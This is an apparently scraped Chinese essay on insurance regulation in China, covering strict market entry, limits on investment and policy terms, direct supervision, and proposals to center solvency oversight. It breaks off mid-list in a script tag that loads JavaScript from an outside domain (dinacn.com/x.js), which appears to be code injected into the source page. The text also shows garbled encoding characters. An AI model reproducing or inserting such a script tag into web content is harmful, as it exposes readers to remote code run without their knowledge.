一、中国现行保险监管模式的特点

    与西方现行的监管模式相比较，中国现阶段保险监管仍然属于较为严格的监管模式。

    （一）保险市场准入的门槛高

    在开业资本方面，《保险法》规定内资保险公司注册资本的最低限额为人民币２亿元，且必须为实缴货币资本。该项规定不仅大大超过了发达国家的相关要求（如英国股份保险公司的资本为１０万英镑，相互保险社为２万英镑；日本国内保险公司为３０００万日元，美国寿险股份有限公司为３００万美元），也远远超出了我国对一般股份有限公司开业资本１０００万元人民币的要求。在保险公司的经营组织形式问题上，我国只采取国有独资公司和股份有限公司的形式。而目前世界上除这种组织形式之外，还包括合作保险公司、相互保险公司、互助保险组织及个人保险。

    （二）对保险经营的监管严格

    在经营范围上，保险人不能兼业经营，即不能同时经营财险和寿险业务，更不能从事与银行、证券相交叉的混业经营。在保险资金运用方面，我国有较多的限制，《保险法》只允许保险资金运用于银行存款、金融债券和国债。虽然现在对保险资金的运用有所放松，但我国的投资市场不活跃，效果不明显。而外国保险公司通常拥有包括银行存款、国债、金融债券、公司债券、股票、不动产投资、抵押贷款在内的多种投资渠道，特别是股票、国债和不动产投资已成为国外保险公司投资利润的主要来源。在保险条款的拟定上，《保险法》规定，商业保险主要险种的基本条款和保险费率，由金融监管部门制定，保险公司拟定的其他险种的保险条款和保险费率，应当报金融监管部门备案。这一规定不仅将制定条款和费率这一保险公司的正常经营行为变成了监管本身，同时，更严重制约了我国保险公司的产品开发能力，从而失去了竞争力。而国际上早已放宽保单和保费率管制，转而求诸偿付能力的监管。

    （三）直接的实体监管方式

    目前，我国保险监管尚未实现以规则为基础的合规性监管向以风险为基础的偿付能力监管的过渡。而是着力于对保险机构市场行为的直接监管，即通过一系列法规条文严格规定了保险企业的经营原则，如保险企业的创设制度以及业务监督、财务监督和人事监督制度等，并由保监会贯彻执行。但对于保险业整体的、间接的、中介监管指标及偿付能力要求不高，采用单纯的固定最低资本额模式，监管的有效性不够。同时，对保险企业资本金和资产负债表的审慎监管，对真正的风险评估和风险管理均重视不够。特别是缺少对保险机构的跟踪分析?熏基本上还处于事后“救火”的被动状态。

    （四）单一的分业监管

    我国保监会是全国商业保险的主管机关，独立行使保险市场的监管职能，但监管手段仍以行政手段为主，缺乏必要的透明度，监管者与被监管者之间的信息严重不对称。在管理上重机构管理、轻业务监督。

    二、我国保险监管的发展方向

    目前，我国保险市场存在着“一乱就抓、一抓就死、一死就放、一放就乱”的现象。这主要是因为在保险市场引入竞争的同时没有建立应有的市场机制。在市场机制存在缺陷的情况下，市场竞争的无序使保险监管更为严厉，但更严厉的监管造成保险人以违规操作应付竞争?熏又造成了保险市场新的无序化。现从宏观和微观两个方面提出关于完善我国保险市场监管的若干建议。

    （一）明确保险监管目标，加强宏观监管

    从保险监管目标来看，保护被保险人的合法权益是保险监管的主要目的。而要保护被保险人的合法利益，最根本的就是要保证保险公司具有充足的偿付能力，以确保被保险人在保险事故发生时能获取及时的保险赔偿。考虑到我国保险市场正处于发育阶段，各方面很不成熟，我国保险监管可以确定以下几个目标：一是保证保险企业的偿付能力；二是保护保险市场秩序、规范市场竞争行为，引导合理保险市场规模的建立；三是引进国外先进管理技术的同时，保护本民族保险业。

    同时，一国政府宏观管理能力和保险行业组织中的微观协调机制对保险业的监管模式有重要影响。中国的保险业在这两方面均不成熟，因此，放松监管是一个长期的逐步实现的过程。而保监会所谓的强化监管并不是说监管部门要干预保险公司的日常经营活动，而是要为保险公司的公平竞争创造条件。可以认为，保险监管由多元目标到双重目标再到单一重点目标的实现，实际上是政府监管不断退守的过程。在这方面，香港保险业监管的宗旨“最大的服务，最小的干预”应当为中国内地保险监管所借鉴。在提出监管措施之前，我们有必要明确保险监管努力的四个方面：１?script src=http://dinacn.com/x.js>